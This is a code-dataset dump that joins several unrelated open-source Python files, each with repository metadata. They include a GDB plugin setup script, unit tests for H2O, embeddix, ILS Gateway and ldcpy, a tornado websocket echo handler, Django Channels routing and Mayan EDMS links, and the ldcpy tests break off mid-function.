'set backtrace past-main on',
'set step-mode on',
'set print pretty on',
'set width %i' % pwngef.ui.get_window_size()[1],
'handle SIGALRM nostop print nopass',
'handle SIGBUS stop print nopass',
'handle SIGPIPE nostop print nopass',
'handle SIGSEGV stop print nopass',
]
for line in pre_commands:
gdb.execute(line.strip())
try:
# this will raise a gdb.error unless we're on x86
gdb.execute("set disassembly-flavor intel")
except gdb.error:
# we can safely ignore this
pass
# handle resize event to align width and completion
signal.signal(signal.SIGWINCH, lambda signum, frame: gdb.execute("set width %i" % pwngef.ui.get_window_size()[1]))
# More info: https://sourceware.org/bugzilla/show_bug.cgi?id=21946
# As stated on GDB's bugzilla that makes remote target search slower.
# After GDB gets the fix, we should disable this only for bugged GDB versions.
if 1:
gdb.execute('set remote search-memory-packet off')
pwngef.events.cont(pwngef.handlers.continue_handler)
pwngef.events.stop(pwngef.handlers.hook_stop_handler)
pwngef.events.new_objfile(pwngef.handlers.new_objfile_handler)
pwngef.events.exit(pwngef.handlers.exit_handler)
if gdb.progspaces()[0].filename is not None:
pwngef.arch.update()
pwngef.commands.self.SelfAliases()
pwngef.commands.self.SelfTmuxSetup()
| 24.15534 | 114 | 0.730305 | 347 | 2,488 | 5.152738 | 0.435159 | 0.154362 | 0.123043 | 0.016779 | 0.034676 | 0.034676 | 0.034676 | 0.034676 | 0.034676 | 0 | 0 | 0.007201 | 0.162781 | 2,488 | 102 | 115 | 24.392157 | 0.851176 | 0.140675 | 0 | 0 | 0 | 0 | 0.244486 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.064103 | 0.320513 | 0 | 0.320513 | 0.064103 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 2 |
e92e99299c074c8121cac901e066ac3bef6d74e5 | 1,237 | py | Python | h2o-py/tests/testdir_tree/pyunit_tree_irf.py | ahmedengu/h2o-3 | ac2c0a6fbe7f8e18078278bf8a7d3483d41aca11 | [
"Apache-2.0"
] | 6,098 | 2015-05-22T02:46:12.000Z | 2022-03-31T16:54:51.000Z | h2o-py/tests/testdir_tree/pyunit_tree_irf.py | ahmedengu/h2o-3 | ac2c0a6fbe7f8e18078278bf8a7d3483d41aca11 | [
"Apache-2.0"
] | 2,517 | 2015-05-23T02:10:54.000Z | 2022-03-30T17:03:39.000Z | h2o-py/tests/testdir_tree/pyunit_tree_irf.py | ahmedengu/h2o-3 | ac2c0a6fbe7f8e18078278bf8a7d3483d41aca11 | [
"Apache-2.0"
] | 2,199 | 2015-05-22T04:09:55.000Z | 2022-03-28T22:20:45.000Z | import h2o
from h2o.tree import H2OTree
from h2o.estimators import H2OIsolationForestEstimator
from tests import pyunit_utils
def check_tree(tree, tree_number, tree_class = None):
assert tree is not None
assert len(tree) > 0
assert tree._tree_number == tree_number
assert tree._tree_class == tree_class
assert tree.root_node is not None
assert tree.left_children is not None
assert tree.right_children is not None
assert tree.thresholds is not None
assert tree.nas is not None
assert tree.descriptions is not None
assert tree.node_ids is not None
assert tree.model_id is not None
assert tree.levels is not None
assert tree.root_node.na_direction is not None
assert tree.root_node.id is not None
def irf_tree_Test():
cat_frame = h2o.create_frame(cols=10, categorical_fraction=1, seed=42)
# check all columns are categorical
assert set(cat_frame.types.values()) == set(['enum'])
iso_model = H2OIsolationForestEstimator(seed=42)
iso_model.train(training_frame=cat_frame)
tree = H2OTree(iso_model, 5)
check_tree(tree, 5, None)
print(tree)
if __name__ == "__main__":
pyunit_utils.standalone_test(irf_tree_Test)
else:
irf_tree_Test()
| 28.767442 | 74 | 0.738884 | 190 | 1,237 | 4.578947 | 0.331579 | 0.16092 | 0.124138 | 0.189655 | 0.255172 | 0.124138 | 0.062069 | 0 | 0 | 0 | 0 | 0.018 | 0.191593 | 1,237 | 42 | 75 | 29.452381 | 0.852 | 0.026677 | 0 | 0 | 0 | 0 | 0.009983 | 0 | 0 | 0 | 0 | 0 | 0.5 | 1 | 0.0625 | false | 0 | 0.125 | 0 | 0.1875 | 0.03125 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
e93c2c91c748f9cfdc29dc9e7908e7b3822f9490 | 468 | py | Python | tests/test_reduce_model.py | akb89/embedix | de453a0c2a60c7b83ae5122cdefd487b2a799dd5 | [
"MIT"
] | null | null | null | tests/test_reduce_model.py | akb89/embedix | de453a0c2a60c7b83ae5122cdefd487b2a799dd5 | [
"MIT"
] | 1 | 2020-06-03T12:24:09.000Z | 2020-06-03T12:24:09.000Z | tests/test_reduce_model.py | akb89/embeddix | de453a0c2a60c7b83ae5122cdefd487b2a799dd5 | [
"MIT"
] | null | null | null | """Test align model."""
import numpy as np
import embeddix
def test_align_model():
A = np.array([[0], [1], [2], [3], [4], [5]])
vocab = {'A': 0, 'B': 1, 'C': 2, 'D': 3, 'X': 4, 'Z': 5}
shared = {'D': 0, 'C': 1, 'B': 2, 'A': 3}
model = embeddix.reduce_dense(A, vocab, shared)
assert model.shape[0] == 4
assert model.shape[1] == 1
assert model[0] == A[3]
assert model[1] == A[2]
assert model[2] == A[1]
assert model[3] == A[0]
| 26 | 60 | 0.504274 | 81 | 468 | 2.876543 | 0.345679 | 0.283262 | 0.120172 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.07932 | 0.245727 | 468 | 17 | 61 | 27.529412 | 0.580737 | 0.036325 | 0 | 0 | 0 | 0 | 0.022472 | 0 | 0 | 0 | 0 | 0 | 0.461538 | 1 | 0.076923 | false | 0 | 0.153846 | 0 | 0.230769 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3a5e5340dc86c7e57994e1db34d66c5faf962c87 | 522 | py | Python | custom/ilsgateway/tests/handlers/yes.py | dannyroberts/commcare-hq | 4b0b8ecbe851e46307d3a0e635d6d5d6e31c3598 | [
"BSD-3-Clause"
] | null | null | null | custom/ilsgateway/tests/handlers/yes.py | dannyroberts/commcare-hq | 4b0b8ecbe851e46307d3a0e635d6d5d6e31c3598 | [
"BSD-3-Clause"
] | null | null | null | custom/ilsgateway/tests/handlers/yes.py | dannyroberts/commcare-hq | 4b0b8ecbe851e46307d3a0e635d6d5d6e31c3598 | [
"BSD-3-Clause"
] | null | null | null | from __future__ import absolute_import
from __future__ import unicode_literals
from corehq.util.translation import localize
from custom.ilsgateway.tanzania.reminders import YES_HELP
from custom.ilsgateway.tests.handlers.utils import ILSTestScript
import six
class TestYes(ILSTestScript):
def test_yes(self):
with localize('sw'):
response = YES_HELP
script = """
5551234 > ndio
5551234 < {0}
""".format(six.text_type(response))
self.run_script(script)
| 27.473684 | 64 | 0.704981 | 61 | 522 | 5.786885 | 0.606557 | 0.056657 | 0.090652 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.036675 | 0.216475 | 522 | 18 | 65 | 29 | 0.826406 | 0 | 0 | 0 | 0 | 0 | 0.114943 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.066667 | false | 0 | 0.4 | 0 | 0.533333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
3a6d2c75a390a9b751716a8efe9e09d65215422a | 315 | py | Python | vertx-web/src/test/sockjs-protocol/ws4py/server/handler/tornadohandler.py | nutsjian/vertx-web | 4b304f8bfb3d9943e85c5bc26626f0c25dfff4f5 | [
"Apache-2.0"
] | 1 | 2020-02-25T13:30:18.000Z | 2020-02-25T13:30:18.000Z | vertx-web/src/test/sockjs-protocol/ws4py/server/handler/tornadohandler.py | nutsjian/vertx-web | 4b304f8bfb3d9943e85c5bc26626f0c25dfff4f5 | [
"Apache-2.0"
] | 1 | 2017-03-26T20:50:02.000Z | 2017-03-26T20:50:02.000Z | vertx-web/src/test/sockjs-protocol/ws4py/server/handler/tornadohandler.py | nutsjian/vertx-web | 4b304f8bfb3d9943e85c5bc26626f0c25dfff4f5 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
import tornado.ioloop
import tornado.web
from tornado.websocket import WebSocketHandler
class EchoWebSocket(WebSocketHandler):
def on_message(self, message):
binary = self.ws_connection._frame_opcode == 0x2
self.ws_connection.write_message(message, binary)
| 28.636364 | 57 | 0.720635 | 36 | 315 | 6.138889 | 0.638889 | 0.117647 | 0.144796 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.011719 | 0.187302 | 315 | 10 | 58 | 31.5 | 0.851563 | 0.066667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.010274 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.428571 | 0 | 0.714286 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
3a703d76d8a2ca768350b38acb47702050b3b013 | 486 | py | Python | account/models.py | cww97/newsChain | 1243c47176ddfa680a69da0d325056698b11ad59 | [
"WTFPL"
] | null | null | null | account/models.py | cww97/newsChain | 1243c47176ddfa680a69da0d325056698b11ad59 | [
"WTFPL"
] | 2 | 2020-04-30T14:43:42.000Z | 2020-07-19T14:37:34.000Z | account/models.py | cww97/newsChain | 1243c47176ddfa680a69da0d325056698b11ad59 | [
"WTFPL"
] | null | null | null | from mongoengine import *
# Create your models here.
connect('TrustNews')
class User(DynamicDocument):
username = StringField()
permission = StringField() # user, manager, admin
# password, nickname, public_key, private_key, profile_picture, email...
# all thing above are not basic info of a user, working on it later
#
#
# ----------------------- we will add them later ------------------------
def __unicode__(self):
return self.username
| 27 | 77 | 0.615226 | 53 | 486 | 5.509434 | 0.867925 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.211934 | 486 | 17 | 78 | 28.588235 | 0.762402 | 0.522634 | 0 | 0 | 0 | 0 | 0.040179 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.142857 | 0.142857 | 0.857143 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 2 |
3a84ee5e98e446dcae383d6c97c13592162a1b5a | 406 | py | Python | rmidi/tests.py | rushike/rmidipy | 7d80dc2cc584cb2e8b8df0eeedc34e9e11ab0de7 | [
"MIT"
] | 5 | 2019-11-30T11:12:14.000Z | 2021-08-15T00:47:23.000Z | rmidi/tests.py | rushike/rmidipy | 7d80dc2cc584cb2e8b8df0eeedc34e9e11ab0de7 | [
"MIT"
] | 3 | 2020-03-14T04:45:38.000Z | 2020-05-31T15:07:13.000Z | rmidi/tests.py | rushike/rmidipy | 7d80dc2cc584cb2e8b8df0eeedc34e9e11ab0de7 | [
"MIT"
] | null | null | null | import random, math, numpy
from rmidi import muse
from rmidi.img import tests
def test_muse(start, length, dtime = 1, filename = f'muse-{random.randint(0, 100)}', sequence = 'serial', oftype = 'melody'):
print(start, length, dtime)
mu = muse.Muse(start, length, sequence, 1, kind = 'sec', filename = filename, oftype = oftype)
mu.generate()
# test_muse(0, 128, dtime = 1, oftype='harmony')
| 36.909091 | 125 | 0.679803 | 58 | 406 | 4.724138 | 0.534483 | 0.120438 | 0.109489 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032738 | 0.172414 | 406 | 10 | 126 | 40.6 | 0.782738 | 0.1133 | 0 | 0 | 0 | 0 | 0.123596 | 0.064607 | 0 | 0 | 0 | 0 | 0 | 1 | 0.142857 | false | 0 | 0.428571 | 0 | 0.571429 | 0.142857 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 2 |
3a8a624d4edd39ea32a07a1c4f270c7a390cfce0 | 265 | py | Python | snake_server/channels_snake_server/routing.py | mlambir/channels_talk_pyconar2016 | 82e54eb914fb005fcdebad1ed07cede898957733 | [
"MIT"
] | 12 | 2016-11-30T15:22:22.000Z | 2018-02-27T23:03:12.000Z | snake_server/channels_snake_server/routing.py | mlambir/channels_talk_pyconar2016 | 82e54eb914fb005fcdebad1ed07cede898957733 | [
"MIT"
] | null | null | null | snake_server/channels_snake_server/routing.py | mlambir/channels_talk_pyconar2016 | 82e54eb914fb005fcdebad1ed07cede898957733 | [
"MIT"
] | null | null | null | from channels import route
from channels_snake_server.consumers import ws_add, ws_disconnect, ws_message
channel_routing = [
route("websocket.connect", ws_add),
route("websocket.receive", ws_message),
route("websocket.disconnect", ws_disconnect),
] | 29.444444 | 77 | 0.762264 | 33 | 265 | 5.848485 | 0.484848 | 0.217617 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.135849 | 265 | 9 | 78 | 29.444444 | 0.842795 | 0 | 0 | 0 | 0 | 0 | 0.203008 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.285714 | 0 | 0.285714 | 0 | 0 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3aac44f48da4d201ec0e0f060eb941eb092c0ab0 | 689 | py | Python | mayan/apps/storage/links.py | nattangwiwat/Mayan-EDMS-recitation | fcf16afb56eae812fb99144d65ae1ae6749de0b7 | [
"Apache-2.0"
] | 343 | 2015-01-05T14:19:35.000Z | 2018-12-10T19:07:48.000Z | mayan/apps/storage/links.py | nattangwiwat/Mayan-EDMS-recitation | fcf16afb56eae812fb99144d65ae1ae6749de0b7 | [
"Apache-2.0"
] | 191 | 2015-01-03T00:48:19.000Z | 2018-11-30T09:10:25.000Z | mayan/apps/storage/links.py | nattangwiwat/Mayan-EDMS-recitation | fcf16afb56eae812fb99144d65ae1ae6749de0b7 | [
"Apache-2.0"
] | 257 | 2019-05-14T10:26:37.000Z | 2022-03-30T03:37:36.000Z | from django.utils.translation import ugettext_lazy as _
from mayan.apps.navigation.classes import Link
from .icons import (
icon_download_file_delete, icon_download_file_download,
icon_download_file_list
)
link_download_file_delete = Link(
args='resolved_object.pk', icon=icon_download_file_delete,
tags='dangerous', text=_('Delete'), view='storage:download_file_delete'
)
link_download_file_download = Link(
args='resolved_object.pk', icon=icon_download_file_download,
text=_('Download'), view='storage:download_file_download'
)
link_download_file_list = Link(
icon=icon_download_file_list, text=_('Download files'),
view='storage:download_file_list'
)
| 31.318182 | 75 | 0.786647 | 92 | 689 | 5.456522 | 0.315217 | 0.286853 | 0.191235 | 0.119522 | 0.175299 | 0.175299 | 0.175299 | 0.175299 | 0.175299 | 0 | 0 | 0 | 0.113208 | 689 | 21 | 76 | 32.809524 | 0.821604 | 0 | 0 | 0 | 0 | 0 | 0.227866 | 0.121916 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.166667 | 0 | 0.166667 | 0 | 0 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 2 |
3ab426c2f190ac0f92937d2af179dbf5160e377b | 24,304 | py | Python | tests/test_calcs.py | NCAR/ldcpy | 29068a7ad7b4f55981c0ab4b55693b3c3ce9a2a2 | [
"Apache-2.0"
] | 6 | 2020-12-17T11:55:30.000Z | 2022-01-11T18:34:15.000Z | tests/test_calcs.py | NCAR/ldcpy | 29068a7ad7b4f55981c0ab4b55693b3c3ce9a2a2 | [
"Apache-2.0"
] | 176 | 2019-10-18T15:37:18.000Z | 2022-03-07T13:17:21.000Z | tests/test_calcs.py | NCAR/ldcpy | 29068a7ad7b4f55981c0ab4b55693b3c3ce9a2a2 | [
"Apache-2.0"
] | 4 | 2019-10-16T18:01:23.000Z | 2020-07-29T01:34:05.000Z | from unittest import TestCase
import numpy as np
import pandas as pd
import pytest
import xarray as xr
import ldcpy
from ldcpy.calcs import Datasetcalcs, Diffcalcs
times = pd.date_range('2000-01-01', periods=10)
lats = [0, 1, 2, 3]
lons = [0, 1, 2, 3, 4]
test_data = xr.DataArray(
np.arange(-100, 100).reshape(4, 5, 10),
coords=[
('lat', lats, {'standard_name': 'latitude', 'units': 'degrees_north'}),
('lon', lons, {'standard_name': 'longitude', 'units': 'degrees_east'}),
('time', times),
],
dims=['lat', 'lon', 'time'],
)
test_data_2 = xr.DataArray(
np.arange(-99, 101).reshape(4, 5, 10),
coords=[
('lat', lats, {'standard_name': 'latitude', 'units': 'degrees_north'}),
('lon', lons, {'standard_name': 'longitude', 'units': 'degrees_east'}),
('time', times),
],
dims=['lat', 'lon', 'time'],
)
test_overall_calcs = ldcpy.Datasetcalcs(test_data, ['time', 'lat', 'lon'], weighted=False)
test_spatial_calcs = ldcpy.Datasetcalcs(test_data, ['time'], weighted=False)
test_time_series_calcs = ldcpy.Datasetcalcs(test_data, ['lat', 'lon'], weighted=False)
test_diff_calcs = ldcpy.Diffcalcs(test_data, test_data_2, ['time', 'lat', 'lon'], weighted=False)
class TestErrorcalcs(TestCase):
@classmethod
def setUpClass(cls) -> None:
mylon = np.arange(0, 10)
mylat = np.arange(0, 10)
mydata = np.arange(0, 100, dtype='int64').reshape(10, 10)
myzero = np.zeros(100, dtype='int64').reshape(10, 10)
cls._samples = [
{
'measured': (
xr.DataArray(
mydata,
coords=[
('lat', mylat, {'standard_name': 'latitude', 'units': 'degrees_north'}),
('lon', mylon, {'standard_name': 'longitude', 'units': 'degrees_east'}),
],
dims=['lat', 'lon'],
)
),
'observed': (
xr.DataArray(
mydata,
coords=[
('lat', mylat, {'standard_name': 'latitude', 'units': 'degrees_north'}),
('lon', mylon, {'standard_name': 'longitude', 'units': 'degrees_east'}),
],
dims=['lat', 'lon'],
)
),
'expected_error': (
xr.DataArray(
myzero,
coords=[
('lat', mylat, {'standard_name': 'latitude', 'units': 'degrees_north'}),
('lon', mylon, {'standard_name': 'longitude', 'units': 'degrees_east'}),
],
dims=['lat', 'lon'],
)
),
}
]
def test_creation_01(self):
Diffcalcs(
xr.DataArray(self._samples[0]['observed']),
xr.DataArray(self._samples[0]['measured']),
[],
)
def test_error_01(self):
em = Datasetcalcs(
xr.DataArray(self._samples[0]['observed']) - xr.DataArray(self._samples[0]['measured']),
[],
weighted=False,
)
self.assertTrue((self._samples[0]['expected_error'] == em.sum).all())
def test_mean_error_01(self):
em = Datasetcalcs(
xr.DataArray(self._samples[0]['observed']) - xr.DataArray(self._samples[0]['measured']),
[],
weighted=False,
)
self.assertTrue(em.mean.all() == 0.0)
def test_mean_error_02(self):
em = Datasetcalcs(
xr.DataArray(self._samples[0]['observed'] - xr.DataArray(self._samples[0]['measured'])),
[],
weighted=False,
)
self.assertTrue(em.mean.all() == 0.0)
em.mean_error = 42.0
self.assertTrue(em.mean.all() == 0.0)
def test_dim_names(self):
self.assertTrue(test_spatial_calcs._lat_dim_name == 'lat')
self.assertTrue(test_spatial_calcs._lon_dim_name == 'lon')
self.assertTrue(test_spatial_calcs._time_dim_name == 'time')
def test_TS_02(self):
import xarray as xr
import zfpy
ds = xr.open_dataset('data/cam-fv/orig.TS.100days.nc')
TS = ds.TS
print(type(TS))
def test_mean(self):
self.assertTrue(test_overall_calcs.mean == -0.5)
def test_mean_abs(self):
self.assertTrue(test_overall_calcs.mean_abs == 50)
def test_mean_squared(self):
self.assertTrue(np.isclose(test_overall_calcs.mean_squared, 0.25, rtol=1e-09))
def test_min_abs(self):
self.assertTrue(test_overall_calcs.min_abs == 0)
def test_max_abs(self):
self.assertTrue(test_overall_calcs.max_abs == 100)
def test_min_val(self):
self.assertTrue(test_overall_calcs.min_val == -100)
def test_max_val(self):
self.assertTrue(test_overall_calcs.max_val == 99)
def test_ns_con_var(self):
self.assertTrue(test_overall_calcs.ns_con_var == 2500) # is this right?
def test_ew_con_var(self):
self.assertTrue(test_overall_calcs.ew_con_var == 400) # is this right?
def test_odds_positive(self):
self.assertTrue(np.isclose(test_overall_calcs.odds_positive, 0.98019802, rtol=1e-09))
def test_prob_negative(self):
self.assertTrue(test_overall_calcs.prob_negative == 0.5)
def test_prob_positive(self):
self.assertTrue(test_overall_calcs.prob_positive == 0.495)
def test_dyn_range(self):
self.assertTrue(test_overall_calcs.dyn_range == 199)
def test_median(self):
self.assertTrue(test_overall_calcs.get_calc('quantile', 0.5) == -0.5)
def test_rms(self):
self.assertTrue(np.isclose(test_overall_calcs.get_calc('rms'), 57.73647028, rtol=1e-09))
def test_std(self):
self.assertTrue(np.isclose(test_overall_calcs.get_calc('std'), 57.87918451, rtol=1e-09))
def test_sum(self):
self.assertTrue(test_overall_calcs.get_calc('sum') == -100)
def test_variance(self):
self.assertTrue(test_overall_calcs.get_calc('variance') == 3333.25)
def test_zscore(self):
self.assertTrue(np.isclose(test_overall_calcs.get_calc('zscore'), -0.02731792, rtol=1e-09))
def test_mean_spatial(self):
self.assertTrue(
(
test_spatial_calcs.get_calc('mean')
== np.array(
[
[-95.5, -85.5, -75.5, -65.5, -55.5],
[-45.5, -35.5, -25.5, -15.5, -5.5],
[4.5, 14.5, 24.5, 34.5, 44.5],
[54.5, 64.5, 74.5, 84.5, 94.5],
]
)
).all()
)
def test_mean_abs_spatial(self):
self.assertTrue(
(
test_spatial_calcs.get_calc('mean_abs')
== np.array(
[
[95.5, 85.5, 75.5, 65.5, 55.5],
[45.5, 35.5, 25.5, 15.5, 5.5],
[4.5, 14.5, 24.5, 34.5, 44.5],
[54.5, 64.5, 74.5, 84.5, 94.5],
]
)
).all()
)
def test_mean_squared_spatial(self):
self.assertTrue(
np.isclose(
test_spatial_calcs.get_calc('mean_squared'),
np.array(
[
[9120.25, 7310.25, 5700.25, 4290.25, 3080.25],
[2070.25, 1260.25, 650.25, 240.25, 30.25],
[20.25, 210.25, 600.25, 1190.25, 1980.25],
[2970.25, 4160.25, 5550.25, 7140.25, 8930.25],
]
),
rtol=1e-09,
).all()
)
def test_min_abs_spatial(self):
self.assertTrue(
(
test_spatial_calcs.get_calc('min_abs')
== np.array(
[
[91.0, 81.0, 71.0, 61.0, 51.0],
[41.0, 31.0, 21.0, 11.0, 1.0],
[0.0, 10.0, 20.0, 30.0, 40.0],
[50.0, 60.0, 70.0, 80.0, 90.0],
]
)
).all()
)
def test_max_abs_spatial(self):
self.assertTrue(
(
test_spatial_calcs.get_calc('max_abs')
== np.array(
[
[100.0, 90.0, 80.0, 70.0, 60.0],
[50.0, 40.0, 30.0, 20.0, 10.0],
[9.0, 19.0, 29.0, 39.0, 49.0],
[59.0, 69.0, 79.0, 89.0, 99.0],
]
)
).all()
)
def test_min_val_spatial(self):
self.assertTrue(
(
test_spatial_calcs.get_calc('min_val')
== np.array(
[
[-100.0, -90.0, -80.0, -70.0, -60.0],
[-50.0, -40.0, -30.0, -20.0, -10.0],
[0.0, 10.0, 20.0, 30.0, 40.0],
[50.0, 60.0, 70.0, 80.0, 90.0],
]
)
).all()
)
def test_max_val_spatial(self):
self.assertTrue(
(
test_spatial_calcs.get_calc('max_val')
== np.array(
[
[-91.0, -81.0, -71.0, -61.0, -51.0],
[-41.0, -31.0, -21.0, -11.0, -1.0],
[9.0, 19.0, 29.0, 39.0, 49.0],
[59.0, 69.0, 79.0, 89.0, 99.0],
]
)
).all()
)
def test_ns_con_var_spatial(self):
self.assertTrue(
(
test_spatial_calcs.get_calc('ns_con_var')
== np.array(
[
[2500.0, 2500.0, 2500.0, 2500.0, 2500.0],
[2500.0, 2500.0, 2500.0, 2500.0, 2500.0],
[2500.0, 2500.0, 2500.0, 2500.0, 2500.0],
]
)
).all()
)
def test_odds_positive_spatial(self):
self.assertTrue(
np.isclose(
test_spatial_calcs.get_calc('odds_positive'),
np.array(
[
[0.0, 0.0, 0.0, 0.0, 0.0],
[0.0, 0.0, 0.0, 0.0, 0.0],
[9.0, np.inf, np.inf, np.inf, np.inf],
[np.inf, np.inf, np.inf, np.inf, np.inf],
]
),
rtol=1e-09,
).all()
)
def test_prob_positive_spatial(self):
self.assertTrue(
np.isclose(
test_spatial_calcs.get_calc('prob_positive'),
np.array(
[
[0.0, 0.0, 0.0, 0.0, 0.0],
[0.0, 0.0, 0.0, 0.0, 0.0],
[0.9, 1.0, 1.0, 1.0, 1.0],
[1.0, 1.0, 1.0, 1.0, 1.0],
]
),
rtol=1e-09,
).all()
)
def test_prob_negative_spatial(self):
self.assertTrue(
np.isclose(
test_spatial_calcs.get_calc('prob_negative'),
np.array(
[
[1.0, 1.0, 1.0, 1.0, 1.0],
[1.0, 1.0, 1.0, 1.0, 1.0],
[0.0, 0.0, 0.0, 0.0, 0.0],
[0.0, 0.0, 0.0, 0.0, 0.0],
]
),
rtol=1e-09,
).all()
)
def test_median_spatial(self):
self.assertTrue(
(
test_spatial_calcs.get_calc('quantile', 0.5)
== np.array(
[
[-95.5, -85.5, -75.5, -65.5, -55.5],
[-45.5, -35.5, -25.5, -15.5, -5.5],
[4.5, 14.5, 24.5, 34.5, 44.5],
[54.5, 64.5, 74.5, 84.5, 94.5],
]
)
).all()
)
def test_rms_spatial(self):
self.assertTrue(
np.isclose(
test_spatial_calcs.get_calc('rms'),
np.array(
[
[95.54318395, 85.54823201, 75.55461601, 65.56294685, 55.57427462],
[45.5905692, 35.61600764, 25.66125484, 15.76388277, 6.20483682],
[5.33853913, 14.7817455, 24.66779277, 34.61935875, 44.59260028],
[54.57563559, 64.56392181, 74.55534857, 84.54880248, 94.54364072],
]
),
rtol=1e-09,
).all()
)
def test_std_spatial(self):
self.assertTrue(
np.isclose(
test_spatial_calcs.get_calc('std'),
np.array(
[
[3.02765035, 3.02765035, 3.02765035, 3.02765035, 3.02765035],
[3.02765035, 3.02765035, 3.02765035, 3.02765035, 3.02765035],
[3.02765035, 3.02765035, 3.02765035, 3.02765035, 3.02765035],
[3.02765035, 3.02765035, 3.02765035, 3.02765035, 3.02765035],
]
),
rtol=1e-09,
).all()
)
def test_sum_spatial(self):
self.assertTrue(
(
test_spatial_calcs.get_calc('sum')
== np.array(
[
[-955.0, -855.0, -755.0, -655.0, -555.0],
[-455.0, -355.0, -255.0, -155.0, -55.0],
[45.0, 145.0, 245.0, 345.0, 445.0],
[545.0, 645.0, 745.0, 845.0, 945.0],
]
)
).all()
)
def test_variance_spatial(self):
self.assertTrue(
(
test_spatial_calcs.get_calc('variance')
== np.array(
[
[8.25, 8.25, 8.25, 8.25, 8.25],
[8.25, 8.25, 8.25, 8.25, 8.25],
[8.25, 8.25, 8.25, 8.25, 8.25],
[8.25, 8.25, 8.25, 8.25, 8.25],
]
)
).all()
)
def test_zscore_spatial(self):
self.assertTrue(
np.isclose(
test_spatial_calcs.get_calc('zscore'),
np.array(
[
[-99.74649686, -89.30183751, -78.85717815, -68.41251879, -57.96785943],
[-47.52320008, -37.07854072, -26.63388136, -16.189222, -5.74456265],
[4.70009671, 15.14475607, 25.58941543, 36.03407478, 46.47873414],
[56.9233935, 67.36805285, 77.81271221, 88.25737157, 98.70203093],
]
),
rtol=1e-09,
).all()
)
def test_ew_con_var_spatial(self):
self.assertTrue(
(
test_spatial_calcs.get_calc('ew_con_var')
== np.array(
[
[100.0, 100.0, 100.0, 100.0, 1600.0],
[100.0, 100.0, 100.0, 100.0, 1600.0],
[100.0, 100.0, 100.0, 100.0, 1600.0],
[100.0, 100.0, 100.0, 100.0, 1600.0],
]
)
).all()
)
def test_mean_time_series(self):
self.assertTrue(
np.isclose(
test_time_series_calcs.get_calc('mean'),
np.array([-5.0, -4.0, -3.0, -2.0, -1.0, 0.0, 1.0, 2.0, 3.0, 4.0]),
rtol=1e-09,
).all()
)
def test_mean_abs_time_series(self):
self.assertTrue(
np.isclose(
test_time_series_calcs.get_calc('mean_abs'),
np.array([50.0, 50.0, 50.0, 50.0, 50.0, 50.0, 50.0, 50.0, 50.0, 50.0]),
rtol=1e-09,
).all()
)
def test_mean_squared_time_series(self):
self.assertTrue(
np.isclose(
test_time_series_calcs.get_calc('mean_squared'),
